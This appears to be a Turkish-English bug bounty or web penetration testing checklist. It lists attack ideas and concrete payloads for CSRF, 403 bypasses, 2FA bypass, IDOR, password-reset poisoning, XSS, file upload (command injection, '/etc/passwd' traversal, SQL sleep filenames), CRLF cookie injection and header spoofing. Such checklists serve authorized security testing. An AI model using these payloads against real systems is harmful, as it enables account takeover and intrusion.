1. CSRF
   1. CSRF Token Tek karakter değiştir
   2. CSRF Belirtecini Boş Gönder token=
   3. CSRF Token Aynı Uzunlukta Değiştir
   4. GET-POST-PUT-HEAD-PATCH
   5. CSRF Token İstekten Kaldır
   6. CSRF Token Başka Birinin Kullan
   7. CSRF Belirtecini Çözmeye Çalış
   8. CSRF Belirtecinin Token 2 hesap oluşturarak kontrol et
2. DOS
   1. Long_Password
   2. Long_String
   3. Form Alanı gibi birşey Profile name 1000 karakter daha sonra farklı bir hesaptan o hesabı ara
   4. sıfırlama sırasında veya Kayıt ol şifreyi 1000 karakterden uzun birşey gir ya sayfa 500 hata vericek yada uzun süre bekleyecek
3. HHİ
   1. X-Original-Url:
   2. X-Forwarded-Server:
   3. X-Host:
   4. X-Forwarded-Host:
   5. X-Rewrite-Url:
   6. two host veya space host
4. Forbidden
   1. /admin/
   2. admin..;/
   3. whatever/..;/admin
   4. secret/.
   5. /secret//
   6. /./secret/..
   7. /admin#
   8. /admin;/
   9. /./admin/./
   10. /admin?param
   11. /%2e/admin
   12. /admin/~
   13. /admin%20/
   14. GET-POST
   15. Path Scan
   16. /%20admin%20/
5. 2FA Bypass
   1. One Account Two Browsers
   2. Kullanmış olduğumuz Kodu tekrar kullanıyoruz
   3. Kullanmış olduğumuz Kodu tekrar farklı bir hesapta kullanıyoruz
   4. Devre dışı bırakma kısmında password soruyorsa yanlı birşey girip kontrol yapılıyor mu bakılacak
   5. 2fa devre dışı bırakılıp etkinleştirildiğinde eski 2fa geçerli mi
   6. 2fa etkinleştirilditen sonra google vb şey ile girmeyi çalış 2fa soruyormu
   7. {"code": true}
   8. {"sstatus": 200}
   9. {"success": true}
   10. Yanıtta kod yansıtılıyor mu kontrol et
   11. code=null
   12. Referer header
   13. SMS Rate limith
   14. Backup kosuccess":"true"d işlevselliği var ise şunu deneyebilirsin önce doğru kullanıcı adı şifre ve otp kodu ile repater ile response'da backup kodlarını al 2.hesaba kullanıcı adını ve parolasını doğru ver fakat otp kodunu doğru verme isteği durdur 1.Replace = POST /api/backup 2.Replace = {"action":"backup_codes","clusterNum":"000","accountId":"test123","email":"test123@gmail.com"} olarak değiştir ve isteği yolla
6. IDOR
   1. getuser"?id=1234"
   2. HPP
   3. getuser.json
   4. {"user": [123]} Dizi ile Sar
   5. {"user_id": {"user_id": 111}} Json ile Sar
   6. JSON HPP
   7. Victim userid= 22 403 For Victim userid= 23-1 200 OK
7. Password Reset
   1. HPP
   2. Carbon
   3. Separator
   4. Json Separator
   5. No Domain
   6. No TLD
   7. Request Header
      1. X-Client-IP:
         1. X-Remote-IP:
      2. X-Forwarded-Host:
         1. X-Forwarded-For:
      3. X-Host:
         1. X-Remote-Addr:
   8. victim@mail.com%0a%0dcc:hacker@mail.com
   9. victim@mail.com&hacker@mail.com
   10. victim@mail.com,hacker@mail victim@mail.com%20hacker@mail victim@mail.com|hacker@mail
   11. {"email":"victim@mail.com","hacker@mail.com}
   12. email=victim
   13. email=victim@gmail
8. XSS
   1. Profil Edit
   2. URL
   3. XML
   4. SVG
   5. İMAGE name
   6. E-Mail Signup
   7. Headerların Responseda geçip geçmedğine bak.
   8. İmage Upload esnasında payload gir
   9. User-Agent
   10. test+(<script>alert(0)</script>)@example.com test@example(<script>alert(0)</script>).com "<script>alert(0)</script>"@example.com
9. File Upload
   1. Webshell / RCE
   2. SVG
   3. GIF
   4. CSV
   5. XML
   6. AVI
   7. HTML / Json
   8. PNG / JPEG
   9. ZIP
   10. PDF / PPTX
   11. Path Treversal
   12. Os Command
   13. Time Based Sql İnjection
   14. ASP / ASPX / PHP5 / PHP / PHP3
   15. Stored Xss / SSRF / XXE
   16. Stored XSS / SSRF
   17. CSV İnjection
   18. XXE / Stored XSS / SSRF
   19. LFI / SSRF
   20. HTML İnjection / XSS / OpenRedirect
   21. Pixel Flood Attack (DOS)
   22. REC via LFI / DOS
   23. SSRF / BLİND XXE / Stored Xss
   24. ; sleep 10;
   25. ../../../etc/passwd/lol.png
   26. sleep(10)-- -.jpg 'sleep(10).jpg
10. CRLF İnjection
    1. GET REQUEST HEADER
    2. %0d%0set-cookie%20%3Amycookie%3Dthieff%3B%20Domain%20%3D.hackerone.com
11. Web Cache Poisining
    1. X-Forwarded-For:
    2. X-Forwarded-Host:
       1. Unkeyed Query Paremeter
       2. Unkeyed Query String
       3. Unkeyed Parameter Cloaking
       4. Case
          1. Proxy Pathn Create Cache
          2. 404 Not Fount Content View-Source
    3. X-Host:
12. CPDoS
    1. HTTP Header Oversize (HHO)
    2. HTTP Meta Character (HMC)
    3. HTTP Method Override (HMO)
13. Tool
    1. X-Override-URL: /admin
    2. X-Original-Url: /admin
    3. X-Rewrite-Url: /admin
    4. X-Forwarded-Host: HOST
    5. X-Remote-Addr: HOST
    6. X-Client-IP: HOST
    7. X-Forwarded-For: HOST
    8. X-Forwarded: HOST
    9. X-Remote-IP: HOST
    10. X-Remote-Addr: HOST
    11. X-Host: HOST
    12. X-Originating-IP: HOST
    13. X-Forwarded-Server: 127.0.0.1
    14. X-Forwarded-For-Original: 127.0.0.1
    15. X-Custom-IP-Authorization: 127.0.0.1
    16. X-Forwarded-Origin: 127.0.0.1